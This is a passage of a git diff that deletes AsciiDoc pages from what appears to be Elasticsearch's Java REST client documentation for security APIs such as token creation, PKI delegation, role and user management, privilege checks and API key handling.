-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-refresh-request]
---------------------------------------------------
-
-===== Client Credential Grants
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-client-credentials-request]
---------------------------------------------------
-
-[[java-rest-high-security-create-token-execution]]
-==== Execution
-
-Creating a OAuth2 security token can be performed by passing the appropriate request to the
- `security().createToken()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-execute]
---------------------------------------------------
-
-[[java-rest-high-security-create-token-response]]
-==== Response
-
-The returned `CreateTokenResponse` contains the following properties:
-
-`accessToken`:: This is the newly created access token.
-   It can be used to authenticate to the Elasticsearch cluster.
-`type`:: The type of the token, this is always `"Bearer"`.
-`expiresIn`:: The length of time until the token will expire.
-   The token will be considered invalid after that time.
-`scope`:: The scope of the token. May be `null`.
-`refreshToken`:: A secondary "refresh" token that may be used to extend
- the life of an access token. May be `null`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-response]
---------------------------------------------------
-<1> The `accessToken` can be used to authentication to Elasticsearch.
-<2> The `refreshToken` can be used in to create a new `CreateTokenRequest` with a `refresh_token` grant.
-
-[[java-rest-high-security-create-token-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously using the `security().createTokenAsync()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-execute-async]
---------------------------------------------------
-<1> The `CreateTokenRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `CreateTokenResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/delegate-pki-authentication.asciidoc b/docs/java-rest/high-level/security/delegate-pki-authentication.asciidoc
deleted file mode 100644
index ca3f832f405..00000000000
--- a/docs/java-rest/high-level/security/delegate-pki-authentication.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
---
-:api: delegate-pki
-:request: DelegatePkiAuthenticationRequest
-:response: DelegatePkiAuthenticationResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delegate PKI Authentication API
-
-This API is called by *smart* proxies to Elasticsearch, such as Kibana, that
-terminate the user's TLS session but that still wish to authenticate the user
-on the Elasticsearch side using a PKI realm, which normally requires users to
-authenticate over TLS directly to Elasticsearch. It implements the exchange of
-the client's {@code X509Certificate} chain from the TLS authentication into an
-Elasticsearch access token.
-
-IMPORTANT: The association between the subject public key in the target
-certificate and the corresponding private key is *not* validated. This is part
-of the TLS authentication process and it is delegated to the proxy calling this
-API. The proxy is *trusted* to have performed the TLS authentication, and this
-API translates that authentication into an Elasticsearch access token.
-
-[id="{upid}-{api}-request"]
-==== Delegate PKI Authentication Request
-
-The request contains the client's {@code X509Certificate} chain. The
-certificate chain is represented as a list where the first element is the
-target certificate containing the subject distinguished name that is requesting
-access. This may be followed by additional certificates, with each subsequent
-certificate being the one used to certify the previous one. The certificate
-chain is validated according to RFC 5280, by sequentially considering the trust
-configuration of every installed {@code PkiRealm} that has {@code
-PkiRealmSettings#DELEGATION_ENABLED_SETTING} set to {@code true} (default is
-{@code false}). A successfully trusted target certificate is also subject to
-the validation of the subject distinguished name according to that respective's
-realm {@code PkiRealmSettings#USERNAME_PATTERN_SETTING}.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[delegate-pki-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delegate PKI Authentication Response
-
-The returned +{response}+ contains the following properties:
-
-`accessToken`:: This is the newly created access token.
-   It can be used to authenticate to the Elasticsearch cluster.
-`type`:: The type of the token, this is always `"Bearer"`.
-`expiresIn`:: The length of time (in seconds) until the token will expire.
-   The token will be considered invalid after that time.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[delegate-pki-response]
---------------------------------------------------
-<1> The `accessToken` can be used to authentication to Elasticsearch.
-
-
diff --git a/docs/java-rest/high-level/security/delete-privileges.asciidoc b/docs/java-rest/high-level/security/delete-privileges.asciidoc
deleted file mode 100644
index 827ccf5b1e5..00000000000
--- a/docs/java-rest/high-level/security/delete-privileges.asciidoc
+++ /dev/null
@@ -1,37 +0,0 @@
---
-:api: delete-privileges
-:request: DeletePrivilegesRequest
-:response: DeletePrivilegesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Privileges API
-
-This API can be used to delete application privileges.
-
-[id="{upid}-{api}-request"]
-==== Delete Application Privileges Request
-
-A +{request}+ has two arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> the name of application
-<2> the name(s) of the privileges to delete that belong to the given application
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete Application Privileges Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> the name of the application
-<2> whether the given privilege was found and deleted
diff --git a/docs/java-rest/high-level/security/delete-role-mapping.asciidoc b/docs/java-rest/high-level/security/delete-role-mapping.asciidoc
deleted file mode 100644
index 5279d953688..00000000000
--- a/docs/java-rest/high-level/security/delete-role-mapping.asciidoc
+++ /dev/null
@@ -1,52 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-delete-role-mapping]]
-=== Delete Role Mapping API
-
-[[java-rest-high-security-delete-role-mapping-execution]]
-==== Execution
-Deletion of a role mapping can be performed using the `security().deleteRoleMapping()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[delete-role-mapping-execute]
---------------------------------------------------
-
-[[java-rest-high-security-delete-role-mapping-response]]
-==== Response
-The returned `DeleteRoleMappingResponse` contains a single field, `found`. If the mapping
-is successfully found and deleted, found is set to true. Otherwise, found is set to false.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[delete-role-mapping-response]
---------------------------------------------------
-<1> `found` is a boolean indicating whether the role mapping was found and deleted
-
-[[java-rest-high-security-delete-role-mapping-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously using the `security().deleteRoleMappingAsync()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[delete-role-mapping-execute-async]
---------------------------------------------------
-<1> The `DeleteRoleMappingRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `DeleteRoleMappingResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[delete-role-mapping-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
diff --git a/docs/java-rest/high-level/security/delete-role.asciidoc b/docs/java-rest/high-level/security/delete-role.asciidoc
deleted file mode 100644
index d2f4ef6f88a..00000000000
--- a/docs/java-rest/high-level/security/delete-role.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
---
-:api: delete-role
-:request: DeleteRoleRequest
-:response: DeleteRoleResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete Role API
-
-[id="{upid}-{api}-request"]
-==== Delete Role Request
-
-A +{request}+ has a single argument
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> role to delete
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Delete Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> whether the given role was found
diff --git a/docs/java-rest/high-level/security/delete-user.asciidoc b/docs/java-rest/high-level/security/delete-user.asciidoc
deleted file mode 100644
index 43d65fc4e97..00000000000
--- a/docs/java-rest/high-level/security/delete-user.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: delete-user
-:request: DeleteUserRequest
-:response: DeleteUserResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Delete User API
-
-[id="{upid}-{api}-request"]
-==== Delete User Request
-
-A user can be deleted as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Delete Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> whether the given user was found
-
-include::../execution.asciidoc[]
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/disable-user.asciidoc b/docs/java-rest/high-level/security/disable-user.asciidoc
deleted file mode 100644
index 90b89c2779f..00000000000
--- a/docs/java-rest/high-level/security/disable-user.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-disable-user]]
-=== Disable User API
-
-[[java-rest-high-security-disable-user-execution]]
-==== Execution
-
-Disabling a user can be performed using the `security().disableUser()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[disable-user-execute]
---------------------------------------------------
-
-[[java-rest-high-security-disable-user-response]]
-==== Response
-
-The returned `Boolean` indicates the request status.
-
-[[java-rest-high-security-disable-user-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[disable-user-execute-async]
---------------------------------------------------
-<1> The `DisableUser` request to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `Boolean` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[disable-user-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument.
-<2> Called in case of failure. The raised exception is provided as an argument.
diff --git a/docs/java-rest/high-level/security/enable-user.asciidoc b/docs/java-rest/high-level/security/enable-user.asciidoc
deleted file mode 100644
index 7e8bac12e27..00000000000
--- a/docs/java-rest/high-level/security/enable-user.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-enable-user]]
-=== Enable User API
-
-[[java-rest-high-security-enable-user-execution]]
-==== Execution
-
-Enabling a disabled user can be performed using the `security().enableUser()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[enable-user-execute]
---------------------------------------------------
-
-[[java-rest-high-security-enable-user-response]]
-==== Response
-
-The returned `Boolean` indicates the request status.
-
-[[java-rest-high-security-enable-user-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[enable-user-execute-async]
---------------------------------------------------
-<1> The `EnableUser` request to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `Boolean` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[enable-user-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument.
-<2> Called in case of failure. The raised exception is provided as an argument.
diff --git a/docs/java-rest/high-level/security/get-api-key.asciidoc b/docs/java-rest/high-level/security/get-api-key.asciidoc
deleted file mode 100644
index e8dad80b59b..00000000000
--- a/docs/java-rest/high-level/security/get-api-key.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
---
-:api: get-api-key
-:request: GetApiKeyRequest
-:response: GetApiKeyResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get API Key information API
-
-API Key(s) information can be retrieved using this API.
-
-[id="{upid}-{api}-request"]
-==== Get API Key Request
-The +{request}+ supports retrieving API key information for
-
-. A specific API key
-
-. All API keys for a specific realm
-
-. All API keys for a specific user
-
-. All API keys for a specific user in a specific realm
-
-. A specific key or all API keys owned by the current authenticated user
-
-. All API keys if the user is authorized to do so
-
-===== Retrieve a specific API key by its id
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-api-key-id-request]
---------------------------------------------------
-
-===== Retrieve a specific API key by its name
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-api-key-name-request]
---------------------------------------------------
-
-===== Retrieve all API keys for given realm
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-realm-api-keys-request]
---------------------------------------------------
-
-===== Retrieve all API keys for a given user
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-user-api-keys-request]
---------------------------------------------------
-
-===== Retrieve all API keys for given user in a realm
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-user-realm-api-keys-request]
---------------------------------------------------
-
-===== Retrieve all API keys for the current authenticated user
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-api-keys-owned-by-authenticated-user-request]
---------------------------------------------------
-
-===== Retrieve all API keys if the user is authorized to do so
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-all-api-keys-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get API Key information API Response
-
-The returned +{response}+ contains the information regarding the API keys that were
-requested.
-
-`api_keys`:: Available using `getApiKeyInfos`, contains list of API keys that were retrieved for this request.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/security/get-builtin-privileges.asciidoc b/docs/java-rest/high-level/security/get-builtin-privileges.asciidoc
deleted file mode 100644
index 8a79d20f39b..00000000000
--- a/docs/java-rest/high-level/security/get-builtin-privileges.asciidoc
+++ /dev/null
@@ -1,27 +0,0 @@
---
-:api: get-builtin-privileges
-:request: GetBuiltinPrivilegesRequest
-:response: GetBuiltinPrivilegesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Builtin Privileges API
-
-include::../execution-no-req.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Builtin Privileges Response
-
-The returned +{response}+ contains the following properties
-
-`clusterPrivileges`::
-A `Set` of all _cluster_ privileges that are understood by this node.
-
-`indexPrivileges`::
-A `Set` of all _index_ privileges that are understood by this node.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-
diff --git a/docs/java-rest/high-level/security/get-certificates.asciidoc b/docs/java-rest/high-level/security/get-certificates.asciidoc
deleted file mode 100644
index 5ada3c8a712..00000000000
--- a/docs/java-rest/high-level/security/get-certificates.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-
---
-:api: get-certificates
-:response: GetSslCertificatesResponse
---
-
-[role="xpack"]
-[id="{upid}-{api}"]
-=== SSL Certificate API
-
-[id="{upid}-{api}-request"]
-==== Get Certificates Request
-
-The X.509 Certificates that are used to encrypt communications in an
-Elasticsearch cluster using the `security().getSslCertificates()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[{api}-execute]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Get Certificates Response
-
-The returned +{response}+ contains a single field, `certificates`.
-This field, accessed with `getCertificates` returns a List of `CertificateInfo`
-objects containing the information for all the certificates used.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[{api}-response]
---------------------------------------------------
-<1> `certificates` is a List of `CertificateInfo`
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/security/get-privileges.asciidoc b/docs/java-rest/high-level/security/get-privileges.asciidoc
deleted file mode 100644
index d63f4774d07..00000000000
--- a/docs/java-rest/high-level/security/get-privileges.asciidoc
+++ /dev/null
@@ -1,47 +0,0 @@
-
---
-:api: get-privileges
-:request: GetPrivilegesRequest
-:response: GetPrivilegesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Privileges API
-
-[id="{upid}-{api}-request"]
-==== Get Privileges Request
-
-The +{request}+ supports getting privilege(s) for all or for specific applications.
-
-===== Specific privilege of a specific application
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-===== All privileges of a specific application
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-all-application-privileges-request]
---------------------------------------------------
-
-===== All privileges of all applications
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[get-all-privileges-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Privileges Response
-
-The returned +{response}+ allows to get information about the retrieved privileges as follows.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/get-role-mappings.asciidoc b/docs/java-rest/high-level/security/get-role-mappings.asciidoc
deleted file mode 100644
index b279702a4e1..00000000000
--- a/docs/java-rest/high-level/security/get-role-mappings.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-get-role-mappings]]
-=== Get Role Mappings API
-
-[[java-rest-high-security-get-role-mappings-execution]]
-==== Execution
-
-Retrieving a role mapping can be performed using the `security().getRoleMappings()`
-method and by setting role mapping name on `GetRoleMappingsRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[get-role-mappings-execute]
---------------------------------------------------
-
-Retrieving multiple role mappings can be performed using the `security.getRoleMappings()`
-method and by setting role mapping names on `GetRoleMappingsRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[get-role-mappings-list-execute]
---------------------------------------------------
-
-Retrieving all role mappings can be performed using the `security.getRoleMappings()`
-method and with no role mapping name on `GetRoleMappingsRequest`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[get-role-mappings-all-execute]
---------------------------------------------------
-
-[[java-rest-high-security-get-role-mappings-response]]
-==== Response
-
-The returned `GetRoleMappingsResponse` contains the list of role mapping(s).
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[get-role-mappings-response]
---------------------------------------------------
-
-[[java-rest-high-security-get-role-mappings-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously using the `security().getRoleMappingsAsync()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[get-role-mappings-execute-async]
---------------------------------------------------
-<1> The `GetRoleMappingsRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `GetRoleMappingsResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[get-role-mappings-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/get-roles.asciidoc b/docs/java-rest/high-level/security/get-roles.asciidoc
deleted file mode 100644
index 2c698222c7a..00000000000
--- a/docs/java-rest/high-level/security/get-roles.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-
---
-:api: get-roles
-:request: GetRolesRequest
-:response: GetRolesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Roles API
-
-[id="{upid}-{api}-request"]
-==== Get Roles Request
-
-Retrieving a role can be performed using the `security().getRoles()`
-method and by setting the role name on +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-Retrieving multiple roles can be performed using the `security().getRoles()`
-method and by setting multiple role names on +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-list-request]
---------------------------------------------------
-
-Retrieving all roles can be performed using the `security().getRoles()`
-method without specifying any role names on +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-all-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Roles Response
-
-The returned +{response}+ allows getting information about the retrieved roles as follows.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/get-user-privileges.asciidoc b/docs/java-rest/high-level/security/get-user-privileges.asciidoc
deleted file mode 100644
index b8051cbfae6..00000000000
--- a/docs/java-rest/high-level/security/get-user-privileges.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
---
-:api: get-user-privileges
-:request: GetUserPrivilegesRequest
-:response: GetUserPrivilegesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get User Privileges API
-
-include::../execution-no-req.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get User Privileges Response
-
-The returned +{response}+ contains the following properties
-
-`clusterPrivileges`::
-A `Set` of all _cluster_ privileges that are held by the user.
-This will be the union of all the _cluster_ privileges from the user's roles.
-
-`globalPrivileges`::
-A `Set` of all _global_ privileges that are held by the user.
-This will be the union of all the _global_ privileges from the user's roles.
-Because this a union of multiple roles, it may contain multiple privileges for
-the same `category` and `operation` (which is why is is represented as a `Set`
-rather than a single object).
-
-`indicesPrivileges`::
-A `Set` of all _index_ privileges that are held by the user.
-This will be the union of all the _index_ privileges from the user's roles.
-Because this a union of multiple roles, it may contain multiple privileges for
-the same `index`, and those privileges may have independent field level security
-access grants and/or multiple document level security queries.
-
-`applicationPrivileges`::
-A `Set` of all _application_ privileges that are held by the user.
-This will be the union of all the _application_ privileges from the user's roles.
-
-`runAsPrivilege`::
-A `Set` representation of the _run-as_ privilege that is held by the user.
-This will be the union of the _run-as_ privilege from each of the user's roles.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
diff --git a/docs/java-rest/high-level/security/get-users.asciidoc b/docs/java-rest/high-level/security/get-users.asciidoc
deleted file mode 100644
index cbd45801fe9..00000000000
--- a/docs/java-rest/high-level/security/get-users.asciidoc
+++ /dev/null
@@ -1,48 +0,0 @@
-
---
-:api: get-users
-:request: GetUsersRequest
-:response: GetUsersResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Get Users API
-
-[id="{upid}-{api}-request"]
-==== Get Users Request
-
-Retrieving a user can be performed using the `security().getUsers()`
-method and by setting the username on +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-Retrieving multiple users can be performed using the `security().getUsers()`
-method and by setting multiple usernames on +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-list-request]
---------------------------------------------------
-
-Retrieving all users can be performed using the `security().getUsers()`
-method without specifying any usernames on +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-all-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Get Users Response
-
-The returned +{response}+ allows getting information about the retrieved users as follows.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
\ No newline at end of file
diff --git a/docs/java-rest/high-level/security/has-privileges.asciidoc b/docs/java-rest/high-level/security/has-privileges.asciidoc
deleted file mode 100644
index 7c5f09a171c..00000000000
--- a/docs/java-rest/high-level/security/has-privileges.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
---
-:api: has-privileges
-:request: HasPrivilegesRequest
-:response: HasPrivilegesResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Has Privileges API
-
-[id="{upid}-{api}-request"]
-==== Has Privileges Request
-The +{request}+ supports checking for any or all of the following privilege types:
-
-* Cluster Privileges
-* Index Privileges
-* Application Privileges
-
-Privileges types that you do not wish to check my be passed in as +null+, but as least
-one privilege must be specified.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Has Privileges Response
-
-The returned +{response}+ contains the following properties
-
-`username`::
-The username (userid) of the current user (for whom the "has privileges"
-check was executed)
-
-`hasAllRequested`::
-`true` if the user has all of the privileges that were specified in the
-+{request}+. Otherwise `false`.
-
-`clusterPrivileges`::
-A `Map<String,Boolean>` where each key is the name of one of the cluster
-privileges specified in the request, and the value is `true` if the user
-has that privilege, and `false` otherwise.
-+
-The method `hasClusterPrivilege` can be used to retrieve this information
-in a more fluent manner. This method throws an `IllegalArgumentException`
-if the privilege was not included in the response (which will be the case
-if the privilege was not part of the request).
-
-`indexPrivileges`::
-A `Map<String, Map<String, Boolean>>` where each key is the name of an
-index (as specified in the +{request}+) and the value is a `Map` from
-privilege name to a `Boolean`. The `Boolean` value is `true` if the user
-has that privilege on that index, and `false` otherwise.
-+
-The method `hasIndexPrivilege` can be used to retrieve this information
-in a more fluent manner. This method throws an `IllegalArgumentException`
-if the privilege was not included in the response (which will be the case
-if the privilege was not part of the request).
-
-`applicationPrivileges`::
-A `Map<String, Map<String, Map<String, Boolean>>>>` where each key is the
-name of an application (as specified in the +{request}+).
-For each application, the value is a `Map` keyed by resource name, with
-each value  being another `Map` from privilege name to a `Boolean`.
-The `Boolean` value is `true` if the user has that privilege on that 
-resource for that application, and `false` otherwise.
-+
-The method `hasApplicationPrivilege` can be used to retrieve this 
-information in a more fluent manner. This method throws an
-`IllegalArgumentException` if the privilege was not included in the
-response (which will be the case if the privilege was not part of the
-request).
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `hasMonitor` will be `true` if the user has the `"monitor"`
-    cluster privilege.
-<2> `hasWrite` will be `true` if the user has the `"write"`
-    privilege on the `"logstash-2018-10-05"` index.
-<3> `hasRead` will be `true` if the user has the `"read"`
-    privilege on all possible indices that would match
-    the `"logstash-2018-*"` pattern.
-
diff --git a/docs/java-rest/high-level/security/invalidate-api-key.asciidoc b/docs/java-rest/high-level/security/invalidate-api-key.asciidoc
deleted file mode 100644
index d1f747da882..00000000000
--- a/docs/java-rest/high-level/security/invalidate-api-key.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
---
-:api: invalidate-api-key
-:request: InvalidateApiKeyRequest
-:response: InvalidateApiKeyResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Invalidate API Key API
-
-API Key(s) can be invalidated using this API.
-
-[id="{upid}-{api}-request"]
-==== Invalidate API Key Request
-The +{request}+ supports invalidating
-
-. A specific API key
-
-. All API keys for a specific realm
-
-. All API keys for a specific user
-
-. All API keys for a specific user in a specific realm
-
-. A specific key or all API keys owned by the current authenticated user
-
-===== Specific API key by API key id
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[invalidate-api-key-id-request]
---------------------------------------------------
